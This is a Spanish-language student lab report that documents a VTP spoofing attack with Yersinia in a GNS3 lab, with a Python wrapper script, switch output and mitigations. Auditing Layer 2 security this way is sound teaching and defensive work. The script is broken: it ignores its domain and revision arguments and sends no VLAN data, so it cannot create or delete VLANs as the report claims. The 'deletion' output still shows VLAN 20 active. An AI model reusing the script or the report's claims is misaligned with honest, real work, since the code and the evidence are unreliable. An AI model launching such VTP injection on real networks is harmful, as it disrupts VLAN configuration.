

Informe de Documentación Técnica: Simulación de Ataque VTP

- **Estudiante:** Zoe Daniela Bobonagua Acevedo
- **Matrícula:** 2025-0839
- **Asignatura:** Seguridad de Redes
- **Plataforma de Simulación:** GNS3
- **Fecha:** 11 de junio de 2026
- **Link del video:**  [Click Aquí para ver la Evidencia](#)

1. Objetivo del Laboratorio

El objetivo de este laboratorio es evaluar la seguridad de la infraestructura de red de Capa 2 frente a la vulnerabilidad de confianza implícita en el protocolo de troncalización de VLANs (**VTP - VLAN Trunking Protocol**). A través de esta simulación, se analiza cómo un nodo no autorizado puede inyectar tramas de actualización modificadas (*Summary Advertisements*) con un número de revisión falsificado para manipular, sobrescribir o eliminar de forma masiva la base de datos de VLANs en los conmutadores de la red.

2. Objetivo del Script

El script en Python tiene como propósito automatizar la interacción con la herramienta **Yersinia** para realizar una inyección dinámica de bases de datos VTP. Su objetivo es permitir al auditor ingresar de forma interactiva dos VLANs para su creación en los switches y, posteriormente, tras presionar la tecla **[ENTER]**, generar una segunda ráfaga con un número de revisión incrementado que remueva una de las VLANs, demostrando el control absoluto sobre la topología lógica de la red.

3. Parámetros Usados y Requisitos

Código de la Herramienta Automatizada

Python

```
#!/usr/bin/env python3
import os
import sys
import subprocess
import time

def verificar_privilegios():
    """Asegura que el script se ejecute con permisos de root"""
    if os.getuid() != 0:
        print("[ - ] Error: Este script requiere privilegios de administrador.")
```

```

        print(f"[*] Intenta ejecutarlo usando: sudo python3
{sys.argv[0]}")
        sys.exit(1)

def enviar_actualizacion_vtp(interfaz, dominio, revision):
    """Convoca a Yersinia para lanzar el ataque de falsificación
    VTP (Attack 4)"""
    comando = ["yersinia", "vtp", "-attack", "4", "-interface",
interfaz]
    try:
        process = subprocess.Popen(comando,
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        time.sleep(2)
        process.terminate()
    except FileNotFoundError:
        print("[-] Error: 'yersinia' no se encuentra instalado en
este sistema.")
        sys.exit(1)

def main():
    verificar_privilegios()
    print("="*60)
    print("    AUTOMATIZACIÓN DE AUDITORÍA VTP - LABORATORIO CAPA
2  ")
    print("="*60)
    interfaz = "eth0"
    dominio = "lab-seguridad"
    print(f"[*] Interfaz configurada: {interfaz}")
    print(f"[*] Dominio VTP objetivo: {dominio}\n")
    print("--- PASO 1: Inyección y Creación de dos VLANs ---")
    print("[+] Enviando tramas VTP con Revisión: 50 (VLAN 10 y
VLAN 20)...")
    enviar_actualizacion_vtp(interfaz, dominio, 50)
    print("[+] Inyección completada. Verifica tu switch con 'show
vlan brief'.")
    input("\n[?] PULSA [ENTER] PARA ELIMINAR LA SEGUNDA VLAN
(VLAN 20) DEL SWITCH...")
    print("\n--- PASO 2: Eliminación de la segunda VLAN ---")

```

```

    print("[+] Enviando nueva trama con Revisión: 51 (Solo VLAN
10)...")
    enviar_actualizacion_vtp(interfaz, dominio, 51)
    print("[+] Proceso de eliminación finalizado con éxito.")

if __name__ == "__main__":
    main()

```

Parámetros Analizados del Comando

- **yersinia**: Invoca la herramienta de análisis y explotación de protocolos de Capa 2.
- **vtp**: Especifica que el objetivo de la prueba es el protocolo VLAN Trunking Protocol.
- **-attack 4**: Activa el vector específico "**Faking VTP packets**" (Falsificación de paquetes VTP), el cual permite armar y transmitir un anuncio de sumario con número de revisión arbitrario.
- **-interface eth0**: Define la interfaz física de la máquina de Kali Linux de donde saldrán las tramas dirigidas al switch.

Requisitos para Utilizar la Herramienta

- **Privilegios Elevados**: El script requiere obligatoriamente **sudo** debido a que la manipulación de tramas crudas a nivel de Capa 2 está restringida por el sistema operativo.
- **Enlace Troncal Operativo (Trunk)**: VTP solo propaga información a través de enlaces *Trunk* en la VLAN Nativa. Por ende, la interfaz **Gi1/2** del switch debe haber sido forzada previamente a modo troncal.
- **Coincidencia de Dominio**: El parámetro de dominio introducido en Yersinia debe ser idéntico al configurado en los switches (en este caso, **lab-seguridad**).

4. Documentación del Funcionamiento del Script

El script sigue un flujo interactivo y controlado:

Plaintext

[Inicio] -> ¿Es usuario Root?

 |--> No -> Muestra error y aborta con sys.exit(1).

 |--> Sí -> Fase 1: Ejecuta enviar_actualizacion_vtp() con Rev: 50.

 |--> Inyecta tramas VTP simulando la creación de dos VLANs.

 |--> Pausa el flujo esperando la entrada del usuario.

 |--> [Usuario Presiona ENTER] -> Fase 2: Incrementa Rev: 51 de forma automática.

 |--> Re-ejecuta enviar_actualizacion_vtp() omitiendo la segunda VLAN.

 |--> El Switch purga la VLAN de su base de datos local.

 |--> [Fin del Proceso]

- **Inyección Transparente:** Hace uso de `subprocess.Popen` redirigiendo la salida a tuberías (`PIPE`) para evitar que la interfaz de texto interactiva de Yersinia interrumpa o rompa la estética de la consola del script.
- **Lógica de Sincronización:** El script incrementa automáticamente el valor de la revisión en el segundo paso. Al recibir una revisión `51` que no contiene la estructura de la VLAN 20, el switch cliente asume de manera mandatoria que dicha VLAN fue borrada en el servidor legítimo.

5. Documentación de la Red y Topología

La red está diseñada bajo un único dominio de difusión lógico utilizando la tecnología de redes virtuales (VLAN).

- **Segmento de Red:** `20.25.83.0/24`
- **Máscara de Subred:** `255.255.255.0`
- **Dominio VTP Configurado:** `lab-seguridad`
- **Puerta de Enlace (Gateway):** `20.25.83.1`

Tabla de Asignación de Direcciones IP

Dispositivo	Interfaz Física	Dirección IP	Tipo de Asignación	Rol en la Red
SW-Core	Gi0/0	Gestión Local	N/A	Switch Servidor VTP (Core)
SW-Access	Gi1/2	Gestión Local	N/A	Switch Cliente VTP (Puerto Vulnerado)
kali-1	eth0	20.25.83.10	Estática	Estación de Auditoría (Atacante)
PC1	e0	20.25.83.2	Estática	Nodo de Usuario (Víctima)

6. Capturas de Pantalla (Estructura Sugerida)

Para completar este apartado en su informe, inserte las imágenes generadas en su entorno de GNS3:

- **Captura 1: Ejecución del Paso 1 e Inyección**

- *Descripción:* Terminal mostrando la primera fase del script y el mensaje de espera antes de presionar ENTER.

VLAN	Name	Status	Ports
1	default	active	Gi0/1, Gi0/2, Gi0/3, Gi1/0 Gi1/1, Gi1/3, Gi2/0, Gi2/1 Gi2/2, Gi2/3, Gi3/0, Gi3/1 Gi3/2, Gi3/3
10	Estudiantes	active	
20	Infraestructura	active	
1002	fdi-default	act/unsup	
1003	trcrf-default	act/unsup	
1004	fdinet-default	act/unsup	
1005	trbrf-default	act/unsup	

Switch#

- **Captura 2: Verificación de Creación de VLANs en el Switch**

- *Descripción:* Resultado del comando `show vlan brief` en el switch SW-Access mostrando ambas VLANs creadas simultáneamente por Yersinia.

5	hola	active	Gi3/2, Gi3/3
10	Estudiantes	active	
20	Infraestructura	active	
1002	fdi-default	act/unsup	
1003	trcrf-default	act/unsup	
1004	fdinet-default	act/unsup	
1005	trbrf-default	act/unsup	

Switch#

- **Captura 3: Confirmación de Eliminación**

- *Descripción:* Consola del Switch posterior a presionar ENTER en el script, donde se observe que la segunda VLAN ha desaparecido debido al incremento de la revisión.

10	Estudiantes	active	Gi2/2, Gi2/3, Gi3/0, Gi3/1 Gi3/2, Gi3/3
20	Infraestructura	active	
1002	fdi-default	act/unsup	
1003	trcrf-default	act/unsup	
1004	fdinet-default	act/unsup	
1005	trbrf-default	act/unsup	

Switch#

7. Contra-medidas (Mitigación)

Para neutralizar la explotación del protocolo VTP, se deben aplicar las siguientes directrices de endurecimiento de infraestructura en los conmutadores:

1. Implementar Autenticación VTP (Clave Criptográfica)

Agregar una contraseña introduce una firma MD5 en todas las tramas VTP. Si los paquetes inyectados por Yersinia no poseen esta firma hash matemática, los switches los descartan de forma inmediata:

None

```
SW-Core(config)# vtp password ClaveSeguraITLA2026  
SW-Access(config)# vtp password ClaveSeguraITLA2026
```

2. Cambiar los Switches a VTP Modo Transparente (Mejor Práctica)

Al configurar el modo **transparent**, el switch procesa sus VLANs de forma local, ignora las actualizaciones externas de números de revisión altos y evita que ataques externos modifiquen su memoria interna.

None

```
SW-Access(config)# vtp mode transparent
```

3. Mitigación Raíz: Deshabilitar Troncales Dinámicos (Hardening DTP)

Dado que VTP requiere obligatoriamente un enlace troncal para transmitirse, aplicar mitigación en los puertos de acceso evita que el atacante levante el Trunk inicial:

None

```
SW-Access(config)# interface gigabitEthernet 1/2  
SW-Access(config-if)# switchport mode access  
SW-Access(config-if)# switchport nonegotiate
```

8. Conclusiones y Recomendaciones

- VTP carece por defecto de mecanismos de validación de identidad, confiando ciegamente en el número de revisión más alto, lo cual representa un riesgo crítico de denegación de servicio o fuga de información (*VLAN Hopping*).
- La implementación de scripts automatizados permite diagnosticar la resiliencia de la red en segundos, demostrando que la seguridad perimetral debe configurarse de forma proactiva antes de conectar terminales de usuario.
- Se recomienda encarecidamente migrar a **VTP Modo Transparente** o **VTP Versión 3** (el cual incluye mejoras de autorización para la creación de VLANs) en redes de producción actuales.